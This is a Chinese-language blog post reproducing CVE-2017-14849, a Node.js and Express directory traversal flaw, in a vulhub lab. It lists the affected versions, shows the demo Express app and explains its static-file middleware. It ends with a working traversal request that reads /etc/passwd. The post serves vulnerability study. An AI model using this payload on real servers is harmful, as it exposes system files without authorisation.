node.js学习系列(二) 目录穿越(CVE-2017-14849)

1.漏洞影响版本

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

2.漏洞原理

https://security.tencent.com/index.php/blog/msg/121
https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849

3.复现与利用

直接分析vulhub上的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express')
const app = express()
const path = require('path')

app.get('/', (req, res) => {
res.send(`<html>
<head>
<meta charset="utf-8">
<title>Hello vulhub!</title>
</head>
<body>
<div id="app">
<input v-model="name">
<p>Hello {{ name }}</p>
</div>
<script src="//cdn.bootcss.com/vue/2.4.4/vue.min.js"></script>
<script src="/static/main.js"></script>
</body>
</html>`)
})

app.use('/static', express.static(path.join(__dirname, 'static')));

app.listen(3000, () => console.log('Example app listening on port 3000!'))

1.express.static()是为了提供一个静态资源的目录;这里表示提供当前目录下的static目录下的资源

2.app.use()是用来给path注册中间函数的,path默认是/

利用:

ip:port/../../../foo/../../../../etc/passwd